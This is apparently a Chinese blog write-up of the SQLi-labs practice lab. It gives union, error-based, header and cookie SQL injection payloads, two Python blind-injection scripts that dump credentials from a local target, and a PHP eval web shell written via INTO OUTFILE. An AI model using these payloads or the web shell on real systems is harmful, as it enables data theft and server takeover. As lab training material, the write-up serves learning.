SQLi-labs

sqlmap WriteUp:https://xz.aliyun.com/t/5720

外国老哥Write Up:https://resources.infosecinstitute.com/tutorial-on-sqli-labs/#gref

一、Less-1:Error Based-String

1
2
3
4
5
6
7
8
9
10
1)联合查列数
2)爆该数据库的所有表:
?id=-1'/*!union+select*/+1,group_concat(table_name),database()+from+information_schema.tables+where+table_schema='security'--+
//表名:emails,referers,uagents,users
3)爆User表字段信息:
?id=-1'/*!union+select*/+1,group_concat(column_name),database()+from+information_schema.columns+where+table_name='users'+and+table_schema='security'--+
//字段名:id,username,password
4)爆user表所有账户密码:
?id=-1'/*!union+select*/+1,group_concat(concat_ws('|',username,password)),database()+from+users--+
//Dumb|Dumb,Angelina|I-kill-you,Dummy|p@ssword,secure|crappy......

二、Less-2:Error Bases-Intiger

和Less-1的区别只在于查询参数为数字型,不需要单引号闭合。

三、Less-3:Error Bases-String

和Less-1/2的区别只在于查询参数为(‘1’)形式闭合。

四、Less-4:Error Based-DoubleQuotes String

(“1”)形式闭合。

五、Less-5:Double Query- Single Quotes- String——报错注入

输入单引号报错,可知是字符型注入,单引号闭合。当注释或者构造其它SQL语句时无预期回显内容。考虑报错注入。

1
?id=1' and updatexml(1,concat('^',(select substring(group_concat(concat_ws('|',username,password)),30,40) from users),'^'),1) --+

六、Less-6:Double Query- Double Quotes- String——报错注入

与第五题区别在于双引号闭合

1
?id=1" and updatexml(1,concat('^',(select substring(group_concat(concat_ws('|',username,password)),30,40) from users),'^'),1) --+

七、Less-7:文件写入操作

简单分析,确实没分析出注入点,输入'会报错,")都不报错。源码中的注入点是:SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1去命令行中试了一下,输入")虽然不会报错,但是没有办法用;去结束这句SQL语句,命令行提示还要继续输入一个'的闭合,具体什么时候会结束什么时候不会结束语句可能和(())结构有关系,留个坑日后慢慢研究。

1、此题提示是写入文件,那就是写入一句话菜刀连接,可以先用Less2关去获得Mysql的@@basedir和@@datadir。

1
Less-2?id=-1 union select 1,@@basedir,@@datadir --+

2、直接写入

1
2
1')) union select 1,'<?php @eval($REQUEST['zjc']); ?>',3 into outfile "C:\\XAMPP2\\sqli-labs\\less-7\\xm7.php" --+    
#这里如果无法写入,要在mysql.ini的mysqld下配置一条secure-file-priv=

八、Less-8:布尔盲注

启蒙博客:https://blog.csdn.net/mochu7777777/article/details/104825456

多线程也是个不错的选择:比二分法更OK的盲注多线程(python脚本)

自己写了一个二分法布尔盲注,靶机爆破太慢,本地回环测试速度可。脚本可优化,没做模块化,耦合性有点强,同时重复代码有点多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
import requests
keyword="You" #成功的回显关键字
#url = "http://192.168.2.244/sqli-labs/Less-8/" #注入URL
url = "http://127.0.0.1/sqli-labs/Less-8/" #注入URL
db_len = 0 #库长度
db_name = "" #库名
tb_count = 0 #表数量
tb_len = 0 #表长度
tb_name = [] #表名字
cn_count = 0 #字段数量
cn_name = [] #字段名字
dt_count = 0 #数据条数
tb_choose = ""

for i in range(1,50):
param = {"id" : "1' and length(database()) = {} -- ".format(i)}
respon = requests.get(url, params=param)
#print(f"res = {respon.url}")
if respon.text.find(keyword, 512, 700) != -1:
db_len = i
#print(f"db_len = {db_len}")
break
#print(f'[+]数据库长度为{db_len}')
for i in range(1, db_len+1):
left = 32
right = 98
while left <= right:
try:
mid = (left + right) // 2
param = {"id" : "1' and substr(database(),{},1) = '{}' -- ".format(i, chr(mid))}
if requests.get(url, params=param).text.find(keyword, 512, 700) != -1:
db_name += chr(mid)
#print(db_name)
break
param = {"id" : "1' and substr(database(),{},1) < '{}' -- ".format(i, chr(mid))}
if requests.get(url, params=param).text.find(keyword, 512, 700) != -1:
right = mid - 1
else:
left = mid + 1
except:
pass
print('[+]数据库名为'+db_name)

print('[*]爆破库中的数据表......')
for i in range(1, 30):
param = {"id" : "1' and (select count(*) from information_schema.tables where table_schema='{}') = {} -- ".format(db_name, i)}
respon = requests.get(url, params=param)
#print(f"res = {respon.url}")
if respon.text.find(keyword, 512, 700) != -1:
tb_count = i
break
#print(f'[+]数据库表数量:{tb_count}')
for i in range(0, tb_count):
for j in range(1, 100):
param = {"id" : "1' and (select length(table_name) from information_schema.tables where table_schema='{}' LIMIT {}, 1) = {} -- ".format(db_name, i, j)}
respon = requests.get(url, params=param)
#print(f"res = {respon.url}")
if respon.text.find(keyword, 512, 700) != -1:
tb_len = j
# print(f"当前数据表长度:{tb_len}")
tmp_name=""
for k in range(1, tb_len+1):
left = 32
right = 98
while left <= right:
try:
mid = (left + right) // 2
param = {"id" : "1' and substr((select table_name from information_schema.tables where table_schema='{}' LIMIT {}, 1),{},1) = '{}' -- ".format(db_name, i, k, chr(mid))}
if requests.get(url, params=param).text.find(keyword, 512, 700) != -1:
tmp_name += chr(mid)
#print(tmp_name)
break
param = {"id" : "1' and substr((select table_name from information_schema.tables where table_schema='{}' LIMIT {}, 1),{},1) < '{}' -- ".format(db_name, i, k, chr(mid))}
if requests.get(url, params=param).text.find(keyword, 512, 700) != -1:
right = mid - 1
else:
left = mid + 1
except:
pass
tb_name.append(tmp_name)
print('[+]数据表:'+tmp_name)
break
print(tb_name)

tb_choose = input('[*]选择爆破的数据表,请输入表名:')
if tb_choose.lower() not in [tmp.lower() for tmp in tb_name]:
print('[-]Error')
exit()
print(f'[*]爆破数据表{tb_choose}的字段......')
for i in range(1, 100):
param = {"id" : "1' and (select count(*) from information_schema.columns where table_name='{}' and table_schema=database()) = {} -- ".format(tb_choose, i)}
respon = requests.get(url, params=param)
#print(f"res = {respon.url}")
if respon.text.find(keyword, 512, 700) != -1:
cn_count = i
break
print(f'[+]数据库字段数量:{cn_count}')
for i in range(0, cn_count):
for j in range(1, 100):
param = {"id" : "1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='{}' LIMIT {}, 1) = {} -- ".format(tb_choose, i, j)}
respon = requests.get(url, params=param)
#print(f"res = {respon.url}")
if respon.text.find(keyword, 512, 700) != -1:
cn_len = j
tmp_name=""
#print(f'字段长度{cn_len}')
for k in range(1, cn_len+1):
left = 32
right = 98
while left <= right:
try:
mid = (left + right) // 2
param = {"id" : "1' and substr((select column_name from information_schema.columns where table_name='{}' and table_schema='{}' LIMIT {}, 1),{},1) = '{}' -- ".format(tb_choose, db_name, i, k, chr(mid))}
if requests.get(url, params=param).text.find(keyword, 512, 700) != -1:
tmp_name += chr(mid)
#print(tmp_name)
break
param = {"id" : "1' and substr((select column_name from information_schema.columns where table_name='{}' and table_schema='{}' LIMIT {}, 1),{},1) < '{}' -- ".format(tb_choose, db_name, i, k, chr(mid))}
if requests.get(url, params=param).text.find(keyword, 512, 700) != -1:
right = mid - 1
else:
left = mid + 1
except:
pass
cn_name.append(tmp_name)
print('[+]数据字段:'+tmp_name)
break
print(f'[*]爆破表{tb_choose}中的记录条数......')
for i in range(1, 100):
param = {"id" : "1' and (select count(*) from {}) = {} -- ".format(tb_choose, i)}
respon = requests.get(url, params=param)
#print(f"res = {respon.url}")
if respon.text.find(keyword, 512, 700) != -1:
dt_count = i
break
print(f'[+]数据表{tb_choose}中记录条数:{dt_count}')
while True:
print(cn_name)
cn_choose = input('输入要爆破的字段数据:')
if cn_choose.lower() not in [tmp.lower() for tmp in cn_name]:
print('[-]Error')
continue
for i in range(0, dt_count):
for j in range(1, 100):
param = {"id" : "1' and (select length({}) from {} LIMIT {}, 1) = {} -- ".format(cn_choose, tb_choose, i, j)}
respon = requests.get(url, params=param)
#print(f"res = {respon.url}")
if respon.text.find(keyword, 512, 700) != -1:
dt_len = j
tmp_data=""
#print(f'字段长度{cn_len}')
for k in range(1, dt_len+1):
left = 32
right = 98
while left <= right:
try:
mid = (left + right) // 2
param = {"id" : "1' and substr((select {} from {} LIMIT {}, 1),{},1) = '{}' -- ".format(cn_choose, tb_choose, i, k, chr(mid))}
if requests.get(url, params=param).text.find(keyword, 512, 700) != -1:
tmp_data += chr(mid)
#print(tmp_data)
break
param = {"id" : "1' and substr((select {} from {} LIMIT {}, 1),{},1) < '{}' -- ".format(cn_choose, tb_choose, i, k, chr(mid))}
if requests.get(url, params=param).text.find(keyword, 512, 700) != -1:
right = mid - 1
else:
left = mid + 1
except:
pass
print(f'[{cn_choose}]:{tmp_data}')
break

九、Less-9:时间盲注单引号

十、Less-10:时间盲注双引号

同9

十一、Less-11:POST型-有报错的注入

1
2
3
1、uname=root' or 1=1 limit 8,1 -- &passwd=1&submit=Submit    #通过limit直接可获得当前数据库的信息
2、uname=root' /*!union select*/+group_concat(concat_ws('|',username,password)),database() from users-- &passwd=1&submit=Submit #联合注入
3、uname=root' and updatexml(1,concat('^',(select substring(group_concat(concat_ws('|',username,password)),30,40) from users),'^'),1)-- &passwd=1&submit=Submit #报错注入

十二、Less-12:POST型-有报错的注入

双引号括号闭合。同上

十三、Less-13:POST型-Double Injection - Single quotes- String -with twist

单引号括号闭合,同上。但是登陆成功无回显,只有报错显示,所以可通过报错注入获得内容

十四、Less-14- POST-Double Injection- Double quotes- String -with twist

双引号闭合,无正确回显,只有报错回显,所以可通过报错注入获得内容。同上

十五、Less-15- POST-Blind-Boolian/time Based- Single quotes- String

未解之谜:select ‘‘ < ‘g’ 是false; 但是 select ascii(‘\‘) < ascii(‘g’)是true!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
import requests
keyword="flag.jpg" #成功的回显关键字
#url = "http://192.168.2.244/sqli-labs/Less-8/" #注入URL
url = "http://127.0.0.1/sqli-labs/Less-15/" #注入URL
flag = 1 # 0 Get / 1 Post
ascii_low = 32 #爆破的ascii字符下限
ascii_up = 127 #爆破的ascii字符上限
payload = ["Dhakkan' and ", " -- "] #拆分出attack payload插入点
key = "uname" #爆破注入的参数
param = {"uname" : "", "passwd" : "1"}
db_len = 0 #库长度
db_name = "" #库名
tb_count = 0 #表数量
tb_len = 0 #表长度
tb_name = [] #表名字
cn_count = 0 #字段数量
cn_name = [] #字段名字
dt_count = 0 #数据条数
tb_choose = ""

def respon_require():
if flag == 0:
respon = requests.get(url, params=param)
elif flag == 1:
respon = requests.post(url, data=param)
return respon

for i in range(1,50):
param[key] = payload[0] + f"length(database()) = {i}" + payload[1]
respon = respon_require()
if respon.text.find(keyword) != -1:
db_len = i
break
print(f'[+]数据库长度为{db_len}')
for i in range(1, db_len+1):
left = ascii_low
right = ascii_up
while left <= right:
try:
mid = (left + right) // 2
param[key] = payload[0] + f"substr(database(),{i},1) = '{chr(mid)}'" + payload[1]
if respon_require().text.find(keyword) != -1:
db_name += chr(mid)
break
param[key] = payload[0] + f"substr(database(),{i},1) < '{chr(mid)}'" + payload[1]
if respon_require().text.find(keyword) != -1:
right = mid - 1
else:
left = mid + 1
except:
pass
print('[+]数据库名为'+db_name)

print('[*]爆破库中的数据表......')
for i in range(1, 30):
param[key] = payload[0] + f"(select count(*) from information_schema.tables where table_schema='{db_name}') = {i}" + payload[1]
if respon_require().text.find(keyword) != -1:
tb_count = i
break
print(f'[+]数据库表数量:{tb_count}')
for i in range(0, tb_count):
for j in range(1, 100):
param[key] = payload[0] + f"(select length(table_name) from information_schema.tables where table_schema='{db_name}' LIMIT {i}, 1) = {j}" + payload[1]
if respon_require().text.find(keyword) != -1:
tb_len = j
tmp_name=""
for k in range(1, tb_len+1):
left = ascii_low
right = ascii_up
while left <= right:
try:
mid = (left + right) // 2
param[key] = payload[0] + f"substr((select table_name from information_schema.tables where table_schema='{db_name}' LIMIT {i}, 1),{k},1) = '{chr(mid)}'" + payload[1]
if respon_require().text.find(keyword) != -1:
tmp_name += chr(mid)
break
param[key] = payload[0] + f"substr((select table_name from information_schema.tables where table_schema='{db_name}' LIMIT {i}, 1),{k},1) < '{chr(mid)}'" + payload[1]
if respon_require().text.find(keyword) != -1:
right = mid - 1
else:
left = mid + 1
except:
pass
tb_name.append(tmp_name)
print('[+]数据表:'+tmp_name)
break
print(tb_name)

tb_choose = input('[*]选择爆破的数据表,请输入表名:')
if tb_choose.lower() not in [tmp.lower() for tmp in tb_name]:
print('[-]Error')
exit()
print(f'[*]爆破数据表{tb_choose}的字段......')
for i in range(1, 100):
param[key] = payload[0] + f"(select count(*) from information_schema.columns where table_name='{tb_choose}' and table_schema=database()) = {i}" + payload[1]
if respon_require().text.find(keyword) != -1:
cn_count = i
break
print(f'[+]数据库字段数量:{cn_count}')
for i in range(0, cn_count):
for j in range(1, 100):
param[key] = payload[0] + f"(select length(column_name) from information_schema.columns where table_schema=database() and table_name='{tb_choose}' LIMIT {i}, 1) = {j}" + payload[1]
if respon_require().text.find(keyword) != -1:
cn_len = j
tmp_name=""
for k in range(1, cn_len+1):
left = ascii_low
right = ascii_up
while left <= right:
try:
mid = (left + right) // 2
param[key] = payload[0] + f"substr((select column_name from information_schema.columns where table_name='{tb_choose}' and table_schema='{db_name}' LIMIT {i}, 1),{k},1) = '{chr(mid)}'" + payload[1]
if respon_require().text.find(keyword) != -1:
tmp_name += chr(mid)
break
param[key] = payload[0] + f"ascii(substr((select column_name from information_schema.columns where table_name='{tb_choose}' and table_schema='{db_name}' LIMIT {i}, 1),{k},1)) < ascii('{chr(mid)}')" + payload[1]
if respon_require().text.find(keyword) != -1:
right = mid - 1
else:
left = mid + 1
except:
pass
cn_name.append(tmp_name)
print('[+]数据字段:'+tmp_name)
break
print(f'[*]爆破表{tb_choose}中的记录条数......')
for i in range(1, 100):
param[key] = payload[0] + f"(select count(*) from {tb_choose}) = {i}" + payload[1]
if respon_require().text.find(keyword) != -1:
dt_count = i
break
print(f'[+]数据表{tb_choose}中记录条数:{dt_count}')
while True:
print(cn_name)
cn_choose = input('输入要爆破的字段数据:')
if cn_choose.lower() not in [tmp.lower() for tmp in cn_name]:
print('[-]Error')
continue
for i in range(0, dt_count):
for j in range(1, 100):
param[key] = payload[0] + f"(select length({cn_choose}) from {tb_choose} LIMIT {i}, 1) = {j}" + payload[1]
if respon_require().text.find(keyword) != -1:
dt_len = j
tmp_data=""
for k in range(1, dt_len+1):
left = ascii_low
right = ascii_up
while left <= right:
try:
mid = (left + right) // 2
param[key] = payload[0] + f"ascii(substr((select {cn_choose} from {tb_choose} LIMIT {i}, 1),{k},1)) = ascii('{chr(mid)}')" + payload[1]
if respon_require().text.find(keyword) != -1:
tmp_data += chr(mid)
break
param[key] = payload[0] + f"ascii(substr((select {cn_choose} from {tb_choose} LIMIT {i}, 1),{k},1)) < ascii('{chr(mid)}')" + payload[1]
if respon_require().text.find(keyword) != -1:
right = mid - 1
else:
left = mid + 1
except:
pass
print(f'[{cn_choose}]:{tmp_data}')
break

十六、同上,”)

十七、Update-error-based

Update语句:update table set column_name = new_value where username=

POST Payload:

1
uname=dhakkan&passwd=123' and updatexml(1,concat('^',(select substr(group_concat(id),1,50) from `emails`),'^'),1)#

注意:这里遇到一坑,update语句对表A进行更新时,不能在同一条语句中对表A进行select查询。

十八、

User-Agent Payload:

1
User-Agent: 123' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1),'','')#

十九、

Referer Payload:

1
Referer: http://192.168.100.74/sqli-labs/Less-19/','' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) )#

二十、

Cookie Payload:

1
Cookie: uname=dhakkan' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#

二十一、

Cookie Payload:

1
Cookie: uname=ZGhha2thbicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHNjaGVtYV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDAsMSksMHg3ZSksMSkj

二十二、

Cookie Payload:

1
Cookie: uname=ZGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3Qgc2NoZW1hX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEgbGltaXQgMCwxKSwweDdlKSwxKSAj

二十三、

1
http://192.168.100.74/sqli-labs/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) or '

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器